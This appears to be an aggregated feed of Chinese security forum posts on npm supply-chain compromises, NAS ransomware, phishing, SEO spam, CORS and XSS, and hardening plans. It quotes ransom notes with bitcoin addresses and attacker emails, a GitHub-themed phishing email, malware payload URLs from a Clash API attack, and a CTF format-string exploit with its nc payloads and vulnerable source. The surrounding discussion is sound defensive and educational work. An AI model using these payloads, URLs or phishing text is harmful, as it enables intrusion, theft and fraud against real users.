
JSONFormatter 和 CodeBeautify 等在线代码格式化工具保存的 JSON 片段,可被公开访问 —— 超过 80,000 条、累计 5 GB 的用户粘贴内容暴露了云访问密钥、数据库凭据、API 令牌等敏感信息
]]>看了一下很多周下载量超百万的包都中招了,如 @zapier/zapier-sdk ,@posthog/core ,@asyncapi/specs ,@postman/tunnel-agent 等。
详细报告: https://helixguard.ai/blog/malicious-sha1hulud-2025-11-24
]]>异地登录还能不审核开通店铺 开通之后还立马出现刷单.
]]>通过 Google 搜索追踪发现,Semalt.com 正在运营一个大规模的 AI 驱动 SEO 欺诈系统. 该系统爬取 V2EX 等技术社区的内容, 使用 AI 生成虚假标题和描述, 然后通过 URL 参数注入到数百个客户网站中, 以劫持搜索引擎流量。
从 URL 中的序列号可以看出, 该系统已生成超过 1000 万个虚假页面.
任何人都可以在 Google 搜索以下内容验证:
inurl:"?s-news" inurl:"2025-11" "v2ex" inurl:"?s-news" inurl:"2025-10" "v2ex" https://[域名]/?s-news-[识别号]-[日期]-[AI 垃圾标题] 爬取内容 - Semalt 大量爬取 V2EX 页面 (包括用户个人资料页面)
AI 生成虚假新闻 - AI 被输入 V2EX 的页面信息, 被要求编写虚构的随机"新闻", 标题和描述尽可能吸引人. 例如:
参数注入 - 通过 URL query parameters 将生成的内容注入到客户网站
搜索引擎索引 - Google 索引这些页面, 将 AI 生成的欺骗性虚假标题和描述编入搜索结果
流量劫持 - 用户搜索 V2EX 相关内容时, 看到大量"神秘 V2EX 小新闻", 点击后被导向完全不相关的网站



甚至搜索我自己的 V2EX 用户名 "bOOOOc" 时, 都能找到使用 Semalt SEO 欺诈手法的网站. 
可以看到这些 AI 生成的虚假标题都含有 v2ex
以下是实际发现的虚假页面示例:
https://lufkindailynews.com/test/?s-news-7728932-2025-11-11-v2ex-userliuliancc... https://www.isna.ir/news/...?s-news-8218190-2025-11-12-member-of-v2ex-exploring... https://globalfreedomofexpression.columbia.edu/about/...?s-news-3135576... 初步发现涉及数百个域名,包括但不限于:
新闻媒体:
教育机构:
商业网站:
其他:
这些网站是 Semalt 的付费客户,购买了其"autoSEO"或者"AIO Promotion"服务。 但这些客户可能:
编造戏剧性事件
把数据记录包装成新闻
虚构创新提案
普通求助变专家见解
Semalt 将爬取的数据无差别地输入 LLM, 要求生成"吸引眼球的新闻", 完全不在乎内容的任何真实性.
在测试这些虚假页面时, 发现点击某些页面会被重定向到以下域名:
这些域名直接指向 Semalt 及其关联服务. 其中 podbex.com 直接重定向至 semalt.com aio.com.ai 的其中一个 google chrome 浏览器扩展的开发者是"Semalt LLC" semalt.com/autoseo 是 Semalt 的自动化 SEO 服务页面, 正是生成这些虚假页面的产品.
Semalt.com 在 SEO 社区中早已臭名昭著:
referrer spam (引荐垃圾)
aggressive crawling (激进爬虫)
黑帽 SEO 服务
社区讨论
根据识别号变化推算:
| 时期 | 识别号范围 | 日均生成量 |
|---|---|---|
| 10 月中旬 | 120 万 → 290 万 | 约 12 万/天 |
| 10 月底-11 月初 | 290 万 → 770 万 | 约 37 万/天 |
| 11 月中旬 | 770 万 → 1007 万 | 约 44 万/天 |
按当前速度计算:
希望站长能考虑屏蔽 Semalt 的爬虫访问 (他们似乎不在乎 robots.txt)
]]>This IS ANON RTS LOCKER!!!!
Your computers and servers are encrypted, and backups are deleted. We use strong encryption algorithms, so no one has yet been able to decrypt their files without our participation.
Remember: The faster you content us and pay, the discount you will get is bigger.
The only way to decrypt your files is to purchase a universal decoder from us, which will restore all the encrypted data and your network.
YOUR PERSONAL ID : 666048752d44d8429c2a463ce6cbf1a9115cbc57e58ed4834321202859a58e490e327e26ddf28fb6a6538e3911faa309db4437d15f1297d1ae42889721155c4ec57b8dcb3d8eda3ca5c40f09b8a8fa084cecf4b437ace2998dc3c5edc41fcc4239c943bf0d623f01ef62e2e031f5187f607d8146fac048355cd83174e8d3b8850275d1925f7a582e13d8615934510f756f73c1102bbbb674c67a2ecc6e1a6f089e1bea550efba588531d64380395bd39e9117239df03abe2b4dca3ec6bf0e78e688b636ffebd4704238f515f9dbcd464cb1cda8b333e9c205f30317ba29dbafebb712629f2947c6b3bbc1604b305f93de06f418aede47baf6c89135e55ce6631
Follow our instructions below, and you will recover all your data:
Address 1 : bc1q74stt84cqhs4c0tmj4rj3rwfa6ef7dc90gg33a
Address 2 : bc1q7ufxwf8zde63f7zgr9hnjjutq3uez2fjp0gyvl
Address 3 : bc1qr5rdc4eewlkct5durxk8nkqm02w0qr6wqtpkg4
P.S: If you don't know what is BitCoin, you can google how to use the exchange pay to us. Or you can find the third-part solution services to ask for their help.
TOX ID : 74E8C99142A3DC785F71CE4B88BA42E4DA725E40A162F1FAC0BE16DD9213895A276C98E3DEC9
Email 1 : anon@gartnersdwan.top
Email 2 : anon2025@keemail.me
!!! DO NOT TRY TO RECOVER ANY FILES YOURSELF. WE WILL NOT BE ABLE TO RESTORE THEM!!!
现在的做法是:把那台 nas 已经断开外网,只和一台电脑连接。明天再观察局域网里其他电脑上有没有图片被加密(刚开始观察几小时后都正常),如果确定没有,那么只有 nas 被入侵而已。据网上查询,一个星期前也有一家公司的 nas 文件被加密,情况和我的一样,只是那家怀疑电脑中病毒了隔离,然而 nas 一直联网导致 nas 上的所有文件被加密了。我是幸运早发现了,就把 nas 断开了,然后也有约 2000 个文件被加密,只是这些文件是早期的,没什么价值,被加密的文件现在也不碰,等以后出现解密工具后再去试试解密,那些没被加密的文件都正常,也可以使用。然后我把 nas 设置里供远程访问的禁用,网关也禁用(或者改下数字使之失效),nas 本来就只在局域网提供文件共享用的。明天把 nas 重新连接到局域网密切观察被加密文件有没有增多,如果在继续加密文件,访问 nas 也会卡顿的,如果正常了,说明就算 nas 里有木马也无所谓。要想根本防治,再买个新 nas 最稳妥,这个就当以后备份用。
被加密成 .anon 文件现在输入在线数据库没匹配,解不开,病毒可能是变种。怀疑不是电脑中的病毒,是 nas 系统有漏洞被入侵,查看日志发现 ip 205.210.31.11 和 198.235.24.167 前 2 天 web 登录过 nas
问下各位有没有碰到类似这种情况是怎么解决的?
]]>

所以想问下如果在课题组的服务器上装了代理会不会被识别连接到外网之类的找上门?或者本身有安全风险吗?
]]>📌 GitHub × Gitcoin Developer Fund 2025 Dear community, We are excited to introduce the upcoming phase of the GitHub Developer Fund, a joint program with Gitcoin designed to highlight and support those who strengthen open-source technologies and digital public goods. Your GitHub account qualifies for participation in this phase. We value every type of involvement — from occasional contributions to long-term commitment — as essential to shaping the future of open source. Program overview: Funding approach: Quadratic Funding, boosting community influence through a shared pool Total allocation: $15,000,000 USDC Eligibility: Active participation and potential future impact — open to everyday contributors and maintainers, not just project founders Next step: To secure your preliminary registration and confirm eligibility, please verify your wallet using Gitcoin Passport. This ensures fairness, protects against Sybil attacks, and never requests personal data. Verification takes under a minute: connect your wallet and sign a message. Please note: The authorization requires a refundable deposit, which will be fully returned after the process is completed. 📝 Continue with authentication and submission here: https://grants.github.com/apply Participation and funding eligibility are finalized only with a valid Gitcoin Passport score. Full guidelines are available on our portal. Best regards, GitHub Developer Fund Team In partnership with Gitcoin This message was sent to you as a registered GitHub user. ©2025 GitHub, Inc. All rights reserved. Address: 88 Colin P Kelly Jr St, San Francisco, CA 94107, USA. [Manage notifications] | [Privacy Policy] 点邮件里 https://grants.github.com/apply 实际指向了 https://github-fund.com/
邮件是借助 GitHub 的 ieeues @xx 功能自动触发通知邮件产生,原始仓库地址: https://github.com/gitcoinoda/org/issues
大家注意防范!!!
]]>此外,报告还指出搜狗输入法通过云控配置实现弹窗广告推送,部分情况下用户难以彻底关闭弹窗。火绒建议用户可尝试通过系统通知设置或输入法自带选项关闭弹窗,但由于云控精准投放,部分用户可能仍受影响。
]]>登录活动异常 已检测到最近登录到 Microsoft 帐户 ja**a@outlook.com 的一些异常。 登录详细信息 国家/地区: 埃及 IP 地址: 41.35.196.249 日期: 2025/9/13 22:51 (GMT) 平台: Android 浏览器: Android 请转到最近活动页,让我们确定这是否是你本人。如果不是,我们将帮助你保护帐户。如果是,我们将在以后信任类似活动。 在异常活动记录里有一条记录:
会话类型 检测到异常活动 大概位置 埃及 时间(GMT) 昨天 22:51 设备/平台 Android 浏览器/应用 Android IP 地址 41.35.196.249 帐户别名 ja**a@outlook.com 会话活动 检测到异常活动 我检查了昨天所有的访问路线,从来没有使用过埃及的 IP ,我这 Outlook 邮箱是不是被埃及人登录了?
]]>耗时任务是一些数据库查询,还有数据库备份,可能还会有别的。每天每种只执行一次。
我目前计划用 cron 定时访问 web 服务的一个地址。后端语言是 Go 。Go 有个很多人用的第三方的 cron 库,但是五年没更了,看 issue 好像也不是没问题,不敢用。
我问 deepseek 它说验证源 IP 是不是 127.0.0.1 、::1 、localhost 就行了。另外需要注意一些特殊情况。比如代理、负载均衡器和容器。这个有漏洞吗?还要不要在耗时任务执行之前加个时段判断和今天是否已经执行过了?还有当前是否正在执行耗时任务。cron 好像在特殊情况下会重复执行?比如修改系统时间。
主要需求就是防止这个东西成为被攻击的点。
]]>Google Threat Intelligence Group (GTIG) is issuing an advisory to alert organizations about a widespread data theft campaign, carried out by the actor tracked as UNC6395. Beginning as early as Aug. 8, 2025 through at least Aug. 18, 2025, the actor targeted Salesforce customer instances through compromised OAuth tokens associated with the Salesloft Drift third-party application.
]]>2025 年 9 月 8 日,Aikido 安全团队通过其情报系统发现,npm 上 18 个流行的软件包被推送了包含恶意代码的新版本。这些软件包每周下载量超过 20 亿次,包括 backslash 、chalk-template 、supports-hyperlinks 等。
被投毒的软件作者出来现身道歉了:"我犯了一个错误,像往常一样(因为当时我在用手机)没有直接访问网站,而是点击了链接。"
]]>昨晚睡前就在 x 上看到各种信息了:
受影响投毒组件被植入恶意的混淆代码 index.js 文件,该恶意代码会劫持浏览器钱包(如 MetaMask )和网络请求( fetch 和 XMLHttpRequest ),拦截 ETH 、BTC 、SOL 、TRX 等加密货币交易,通过替换目标地址将资金转移至攻击者钱包(如 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 )
混淆后的恶意代码 index.js:
攻击非常有针对性,是针对 web3 相关用户的大规模攻击.这个 Javascript payload 不复杂,使用了 obfuscator.io 或者类似的工具。
这个开发者账号泄密的原因是因为被钓鱼邮件迷惑了,点击了邮件里面的链接,但未验证链接属于正确的官方发布的地址。
目前 VirusTotal 仍无法检测异常。
自检:
brew install rg rg -uu --max-columns=80 --glob '*.js' _0x112fa8 参考 hacker news: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
提醒,以后这种邮件里面的 login ,如果有 pasaword 管理工具,可以自动对比域名,不对的域名不会显示自动填充的下拉框的! v 友还有啥 tips ,都可以提一下,这些依赖用的人太多了!
]]>再次印证了世界是个巨大的草台班子,整个报告读下来过于难绷:
最早一张证书在 2024 年 2 月就被签发,半小时后被吊销。 (在将近一年半的时间里竟然一直没有人发现?
在随后的半年里,Fina CA 又陆陆续续签发了 11 张,在 2025.9.4 之前仍然有 2 张证书有效。 (同样的错竟然能犯 11 次?
从证书信息和 Fina CA 的回应来看,这些证书应该是用于测试的,他们可能觉得 1.1.1.1 是个不错的测试 IP
这个问题竟然是一位 HackerNews 老哥发现的
连续两份通过 HackerOne 向 Cloudflare 提交的报告都被误处理了
最后这件事情被直接捅到了 Google Certificate Transparency 的邮件列表上面,终于被 Cloudflare 注意到了。
Cloudflare 其实有自己的证书监控服务,但问题在于,他们忘记监控 IP 证书了(🤣👉
据悉,Google 、Mozilla 、Apple 都并未信任该 CA ( Microsoft:🤡
事件 2 - 基于 LOT 设备的僵尸网络攻击会愈加频繁,可预见的国内电动自行车厂商设备被入侵远程操控
]]>If you want to get your files back and are willing to pay, please contact us at the email addresses shown below:
btcduess@outlook.com duesbtc@2mail.co
ID: 20B42F2B8E6E282A996D5E54729FFE5B
If you do not message for the files within 24 hours, the price will be doubled and if there is no response, please send a message to the second email.
]]>本地密钥是由四个数字派生的吗?
感觉不太可能吧,是否是一个锁屏密码,为了防止别人看你手机?
起因是之前听说开源工具效果都不怎么好。然后今天在谷歌上搜“ossec Useless site:www.reddit.com”的时候看到一个观点,就是工具再多都是不够的,还是要看人。https://www.reddit.com/r/cybersecurity/comments/1ma8zwa/comment/n5cx1qr/ 。我基本上信了。然后我雇不起人,所以想自己成为那种人。
目前我找到一本书:《日志管理与分析权威指南》,够吗?入侵检测除了分析日志还有别的什么吗?网络流量分析我总感觉不靠谱。之前我还看过《 WEB 应用安全权威指南》、《编程精粹》、《 Linux 系统安全》。目前我每天大概能拿出五六个小时的时间。大概可以給人肉入侵检测技术半个月的学习时间。之后的日常维护大概可以每天抽出 20 分钟的时间人肉和半人肉分析日志之类的。要是半个月学不到什么的话我就有点想直接放弃入侵检测了。也想直接放弃安装入侵检测软件了,反正效果也不好。
这个技能对练习的要求多不多?有没有什么免费的练习的环境?类似入侵的靶场之类的。入侵检测有没有类似的东西?
我总感觉入侵检测很重要。如果半个月学不到什么东西希望能得到一些吃不到葡萄说葡萄酸的能让我认为这东西不重要和能让我安心的借口。
我想做的网站是个类似豆瓣的网站,但是展示和推荐的主要是方法。我怀疑很多方法的效果都是因人而异的,我想做这个网站验证一下。另外这个网站也可以推荐一般的东西,就是可能会比较麻烦。
]]>THM{format_issues} 格式化字符串漏洞是一种经典的内存安全漏洞,主要出现在使用 printf 族函数时开发者未正确处理用户输入的情况下。本文通过 TryHackMe 平台的实际案例,深入分析这种漏洞的攻击原理、内存机制以及实战利用技巧。
格式化字符串漏洞的根本原因在于 printf 族函数的设计机制:
参数数量不匹配:printf 函数无法在编译时验证格式化字符串与参数数量是否匹配。
栈内存访问:当格式化字符串中的格式说明符多于提供的参数时,函数会继续从栈中读取数据。
类型转换危险:攻击者可以通过特定的格式说明符强制函数以不同类型解释内存数据。
当调用printf(format, arg1, arg2, ...)时,首先格式化字符串format被逐字符解析。遇到%时,根据后续的格式说明符从参数列表中取值。如果格式说明符数量超过参数数量,函数会从栈中的下一个位置继续读取。
让我们深入分析这个 vulnerable 程序:
#include <stdio.h> #include <string.h> void print_banner(){ printf( " ______ _ __ __ _ _ \n" " | ____| | \\ \\ / / | | | \n" " | |__ | | __ _ __ \\ \\ / /_ _ _ _| | |_ \n" " | __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n" " | | | | (_| | (_| |\\ / (_| | |_| | | |_ \n" " |_| |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n" " __/ | \n" " |___/ \n" " \n" "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n" "==================================================================\n\n" ); } void print_flag(char *username){ FILE *f = fopen("flag.txt","r"); char flag[200]; fgets(flag, 199, f); //printf("%s", flag); //The user needs to be mocked for thinking they could retrieve the flag printf("Hello, "); printf(username); // 🚨 漏洞点:直接将用户输入作为格式化字符串 printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n"); printf("Yours truly,\nByteReaper\n\n"); } void login(){ char username[100] = ""; printf("Username: "); gets(username); // 🚨 缓冲区溢出风险:不检查输入长度 // The flag isn't printed anymore. No need for authentication print_flag(username); } void main(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // Start login process print_banner(); login(); return; } printf(username); // 危险!应该使用 printf("%s", username); 问题分析:
username变量直接作为格式化字符串传递给printf。攻击者可以在输入中包含格式说明符(如%x, %s, %p等)。这些格式说明符会导致printf从栈中读取额外的数据。
gets(username); // 危险函数,已被废弃 问题分析:
gets()函数不检查输入长度,可能导致缓冲区溢出。username数组只有 100 字节,超长输入会覆盖栈上的其他数据。
FILE *f = fopen("flag.txt","r"); char flag[200]; fgets(flag, 199, f); 关键点:
Flag 被读入局部变量flag[200]。虽然被注释掉不直接打印,但数据仍在栈内存中。可以通过格式化字符串漏洞间接访问这些数据。
当print_flag函数被调用时,栈的布局大致如下:
栈顶 (低地址) ├─ FILE *f (fopen 返回值) ├─ char flag[200] (存储读取的 flag 内容) ├─ ...其他局部变量... ├─ 返回地址 ├─ 保存的 EBP ├─ char *username (传入的参数) └─ main 函数的栈帧 栈底 (高地址) 当执行printf(username)时,正常情况下如果username是纯文本,会直接输出。攻击情况下如果username包含格式说明符,printf 会尝试从栈中获取对应参数。
在 x86/x64 架构中,第 1 个参数是格式化字符串本身 (username),第 2 个参数是栈上的下一个值,第 3 个参数是再下一个值,依此类推,第 N 个参数是栈上对应位置的值。
由于flag[200]数组在栈上,通过合适的偏移量可以访问到 flag 内容。
成功的攻击 payload:
echo -ne '%5$s' | nc 10.10.20.224 1337 详细解析:
%5$s直接访问第 5 个参数位置。$语法允许直接指定参数位置,无需遍历前面的参数。s格式符将该位置的值作为字符串指针,打印指向的内容。
通过试验不同的偏移量:
# 探测栈内容的命令示例 echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337 经过测试发现,第 1-4 个参数是其他栈上的数据,第 5 个参数恰好指向 flag 字符串的地址,第 6 个及以后是其他内存内容。
在实际环境中,flag 在栈中的确切位置可能因编译器优化级别、栈对齐方式、系统架构( 32 位/64 位)以及其他局部变量的分配而变化。
因此可能需要尝试不同的偏移量(%4$s, %5$s, %6$s等)来定位 flag 。
$ echo -ne '%5$s' | nc 10.10.20.224 1337 ______ _ __ __ _ _ | ____| | \ \ / / | | | | |__ | | __ _ __ \ \ / /_ _ _ _| | |_ | __| | |/ _` |/ _` \ \/ / _` | | | | | __| | | | | (_| | (_| |\ / (_| | |_| | | |_ |_| |_|\__,_|\__, | \/ \__,_|\__,_|_|\__| __/ | |___/ Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it! ================================================================== Username: Hello, THM{format_issues} . Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD... Yours truly, ByteReaper 输入 payload:%5$s
printf 处理过程:程序执行到printf(username),username内容为%5$s,printf 解析格式说明符%5$s,访问栈上第 5 个位置的值作为字符串指针,第 5 个位置恰好指向 flag 字符串的内存地址。
输出结果:成功显示 flag 内容THM{format_issues}
用于探测栈结构的命令:
# 显示多个栈位置的十六进制值 echo -ne '%x %x %x %x %x %x %x %x %s' | nc 10.10.52.86 1337 这个 payload 会显示前 8 个栈位置的十六进制值,最后用%s尝试将第 9 个位置作为字符串打印。
格式化字符串漏洞:printf(username)直接使用用户输入作为格式字符串。
内存中的敏感数据:flag 被读入栈上的局部变量。
可预测的内存布局:在相同环境下栈布局相对固定。
直接位置访问:%N$s语法允许直接访问特定栈位置。
// 危险的写法 printf(user_input); // 安全的写法 printf("%s", user_input); // 替换危险的 gets()函数 char username[100]; if (fgets(username, sizeof(username), stdin) != NULL) { // 移除可能的换行符 username[strcspn(username, "\n")] = '\0'; } // 不安全:敏感数据在栈上 void print_flag(char *username) { char flag[200]; // 在栈上,可能被泄露 // ... } // 更安全:使用动态分配或其他保护机制 void print_flag(char *username) { char *flag = malloc(200); // 使用后立即清零并释放 memset(flag, 0, 200); free(flag); } # 启用格式化字符串相关警告 gcc -Wformat -Wformat-security -Wall source.c # 启用运行时检查 gcc -D_FORTIFY_SOURCE=2 -O2 source.c 随机化栈、堆、库的内存地址,使攻击者难以预测内存布局。
# 启用栈保护 gcc -fstack-protector-all source.c 防止在栈上执行代码,减少代码注入攻击的风险。
检测并阻止控制流劫持攻击。
使用容器化或沙箱技术隔离应用。
使用工具如 Clang Static Analyzer 、Coverity 等,在开发阶段发现潜在漏洞。
最小权限原则:程序只获取必要的权限。
输入验证:严格验证所有外部输入。
防御性编程:假设所有输入都是恶意的。
重点关注字符串处理函数,检查格式化字符串的使用,验证缓冲区边界检查。
模糊测试:使用工具如 AFL 、libFuzzer 。
静态分析:集成到 CI/CD 管道。
动态分析:使用 Valgrind 、AddressSanitizer 等。
原文:(微信公众平台)[https://mp.weixin.qq.com/s/12kNxP_-PI7Gr_c4Pnb_4A]
]]>1 、跨域并不是请求发不出去,请求能发出去,服务端能收到请求并正常返回结果,只是响应结果被浏览器拦截了。 不仅仅是静态的资源。WebStorage 、Cookie 、IndexDB ,在浏览器层面上都是以域这一概念来划分管理的。 而且这个划分管理行为,就是在浏览器本地生效。和服务器、其他客户端没有直接关系。
2 、当响应的是附带身份凭证的请求时,服务端必须明确 Access-Control-Allow-Origin 的值,而不能使用通配符。
针对 1 ,比如说我做为可能有恶意脚本的黑客,不管你请求头带不带 origin ,我返回的 js 响应报文中,我始终带上 "Access-Control-Allow-Origin: *"这个响应头啊。 这样我的恶意 js 不就可以被浏览器解释并执行了?
针对 2 ,这个服务端必须是为什么要必须明确呢?如果不明确会怎么样呢? CORS 做为一个浏览器对资源请求的约束,它咋知道我的请求带不带身份呢?
请教各位大佬赐教一下
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Guides/CORS
]]>$ curl -vv https://www.example.com/generate_204 08:43:01.876922 [0-0] * Host www.vvzero.com:443 was resolved. 08:43:01.880422 [0-0] * IPv6: 2408:1:1013:e900::1 08:43:01.883004 [0-0] * IPv4: 1.116.4.74 08:43:01.885021 [0-0] * [HTTPS-CONNECT] added 08:43:01.887128 [0-0] * [HTTPS-CONNECT] connect, init 08:43:01.889315 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.891506 [0-0] * Trying [2408:1:1013:e900::1]:443... 08:43:01.894156 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.896145 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.898445 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.901163 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.903526 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.907055 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.910135 [0-0] * schannel: disabled automatic use of client certificate 08:43:01.917094 [0-0] * [HTTPS-CONNECT] connect -> 0, dOne=0 08:43:01.919009 [0-0] * [HTTPS-CONNECT] adjust_pollset -> 1 socks 08:43:01.924728 [0-0] * [HTTPS-CONNECT] connect, check h21 08:43:01.933717 [0-0] * schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - The revocation function was unable to check revocation because the revocation server was offline. 08:43:01.939440 [0-0] * [HTTPS-CONNECT] connect, all failed 08:43:01.941833 [0-0] * [HTTPS-CONNECT] connect -> 35, dOne=0 08:43:01.944171 [0-0] * closing connection #0 08:43:01.947391 [0-0] * [HTTPS-CONNECT] close 08:43:01.949490 [0-0] * [SETUP] close 08:43:01.952020 [0-0] * [SETUP] destroy 08:43:01.954525 [0-0] * [HTTPS-CONNECT] destroy curl: (35) schannel: next InitializeSecurityContext failed: CRYPT_E_REVOCATION_OFFLINE (0x80092013) - The revocation function was unable to check revocation because the revocation server was offline. 然后尝试访问证书里提供的 CRL 链接:
$ curl -v http://e5.c.lencr.org/80.crl * Host e5.c.lencr.org:80 was resolved. * IPv6: 2606:4700::6812:15d5, 2606:4700::6812:14d5 * IPv4: 104.18.20.213, 104.18.21.213 * Trying [2606:4700::6812:15d5]:80... * Connected to e5.c.lencr.org (2606:4700::6812:15d5) port 80 * using HTTP/1.x > GET /80.crl HTTP/1.1 > Host: e5.c.lencr.org > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off * Recv failure: Connection was reset * closing connection #0 curl: (56) Recv failure: Connection was reset itdog 查询显示这个域名已经完全被墙,方法是 TCP RST 。
部分浏览器可能不会检查 CRL ,那就没问题。但可能更多的正规浏览器或者 APP 会检查,就会导致无法访问或者弹出警告。
小站站长可能会痛苦了,很多人可能没法上你的网站了。
]]>在开发网站的过程中定期复习这三本书的笔记。书里的一些我感觉没什么大用,并且很麻烦的方法我没用,比如 chroot 。
静态代码分析工具:gosec 、vet 、golangci-lint 、snyk 。TS 的 lint 工具。
CF DDoS 防护、CF Tunnel 。
应用开发注意事项。注入、XSS 、CSRF 之类的。太多了,懒得写了。嘴替:OWASP Top Ten 和 CWE top 25 。
写单元测试。
为各种服务提供最小的权限。
七天检查一次服务器和软件包更新。包括用 snyk 扫描一次代码,就算代码没更新,这个好像能发现用到的库的新发现的漏洞?
用 iptables 只开放必要的端口。基本只会开放 https 的端口的建立连接。数据包发出只允许系统和软件更新还有就是相关的入侵防御的规则的自动更新等。
网关 IP 地址绑定 MAC ,防止 ARP 攻击。使用 CF Tunnel 这步是不是多余了?
命令历史相关的环境变量设置为只读。命令历史附带执行时间。
删除无用的软件包和服务。
不使用隐藏的方式企图实现安全。比如改端口。
每月完整备份数据库。每天增量备份数据库。数据库中的密码 hash 和邮箱使用混合加密加密后备份到 OSS ,私钥保存在我电脑中的 KeePass 里。KeePass 数据库文件保存在 OneDrive 同步文件夹里。OneDrive 同步文件夹每月多处备份。不给 OSS API 分配修改和删除权限。对数据库的密码 hash 和邮箱添加数据库加密,就是数据库的数据文件泄露也无法读取的那种加密。我计划网站的上的所有数据都可以像维基那样打包下载。用户不想公开的数据保存在用户的浏览器或本地文件夹里。
入侵报警使用阿里云的云监控。
阿里云网页控制台使用自己生成的带密码的密钥对登录。私钥密码保存在 Keepass 里。
关键日志备份到阿里云的日志服务上。并设置好 API 的权限。主要是为了省钱,像书里那样用一个专门的服务器收集日志我感觉太贵了。
auditd 配置为锁定配置直到重启。
FireEye 辅助入侵检测和防御。我没在官网上找到怎么用。是个提供威胁情报数据的网站。
注意开发电脑的安全性。不安装来历不明的软件。来历不明的软件装到虚拟机里。不关闭杀软。操作系统有更新尽量马上更新。
数据库密码为 KeePass 生成的 20 位随机大小写字母与数字密码。特殊符号我嫌麻烦。
所有密码和密钥每季度换一次。
阿里云账号双因素认证。
使用 chkrootkit 和 rkhunter 扫描 rootkit 。
unhide 反隐。
如果没有证据证明黑客没有修改文件,就重装系统并回档。我想不到什么证明文件没被动的证据,所以大概率应该都会重装和回档。
查看服务器是否有重启记录。防止 auditd 的配置被修改。
参考《 Linux 系统安全》中的附录 B 。附录 B 是关于被入侵后的排查。
除了特定用户,任何用户登录之前必须登录特定的用户,否则就立刻断网。
还有把某个黑客大概率会用到,但是系统正常运行不会用到的命令换成触发报警的脚本。不知道有没有这种命令?比如 ls ,黑客执行 ls 就断网。我想要 ls 的功能就用 myls 。
这两个是我想到的,如果没人说能用我就不用了。我感觉挺危险的。轻则误报,重则没法登录。
首先我自认为我对安全的重视程度应该是超过平均水平了。
如果网站一直没什么流量的话,我也会一直维护这个网站。维护时间十年起步。长期运营的项目如果不在乎安全问题感觉迟早会出问题。另外我的网站虽然也能提供情绪价值,或者说用来娱乐,但是我希望主要是用它改善用户的生活。那些能用来改善用户生活的数据如果被篡改了很不好。虽然如果真被篡改了大部分可能会被发现,但是肯定会有漏掉的。
]]>首先介绍一下什么是 xss 漏洞:
XSS 漏洞( Cross-Site Scripting ,跨站脚本攻击)是一类常见的 Web 安全漏洞。它的核心问题是:应用程序没有对用户输入的数据进行严格过滤或转义,就把这些数据输出到网页中,从而导致恶意脚本被执行。
攻击者通常通过在网页中插入恶意的 Javascript 代码来实现攻击,这些代码会在访问页面的用户浏览器中运行。
下面开始漏洞复现:
随便传递一个 url 参数,比如 https://www.huociyuan.com
完整的谷歌地图跳转链接就是: https://maps.google.com/url?q=https://www.huociyuan.com/
打开链接后发现页面显示以下内容:
重定向声明 您所在网页试图将您引至 https://www.huociyuan.com/ 。
如果您不希望访问该页,您可以返回上一页。
问题的关键就在于其中的 url 是可以回显并且可点击的,这种很明显属于 xss 漏洞了。
结尾
想问一下谷歌的漏洞该提交给谁,他们有自己的应急响应中心吗?
]]>都可能导致插件作恶变得有利可图。
]]>RT ,访问该网站,会自动枚举 Clash 常见端口 + 4170x 端口,然后调用 Clash API 下发 yaml
还做了系统版本判断,Victim 有 Win 有 Mac
let yaml_path = { "win": "http://60.29.77.223:8080/05260CAD5B9562AEA0AAC8039A3AD3987E8E5E42330C39421B5F2D8D9B7880A806755F53968F788FF311B9A772", "mac": "http://60.29.77.223:8080/385A4D8141A3E7951E5DCFF35A11387BA4B79B23970EF6954CD8F5CFF75B5E463662978C95EF1B2D2868232F60", } 这里以 windows 为例子,会执行 Powershell Invoke-RestMehod 方法下载 exe 存到C:\Users\Public\winIogon.exe 并且执行 winIogon.exe
微步
做了基础的一些沙箱检测,木马行为就单纯的执行 shellcode ,非注入
更深入的分析 IDA 什么的,楼主就不会了 TAT
]]>症状:网络检测正常,但 curl 和 firefox 访问 music.163.com 和 y.qq.com 都会遇到连接重置,只有在部分 chromium 内核的浏览器中使用 https 协议并多次刷新才能访问。期间通过手机热点和全局代理明确是公司网络问题。阿里和腾讯的镜像站也会被屏蔽导致镜像源无法正常使用(同样可以用 chromium 正常打开)
疑问:虽然知道大概是公司的网关设置了防火墙拦截,但是还是好奇为什么 chromium 内核的部分浏览器可以访问这些网站?防火墙能区分不同浏览器吗?如果能,是靠什么做到的?如果不能,chromium 为什么不受影响?
]]>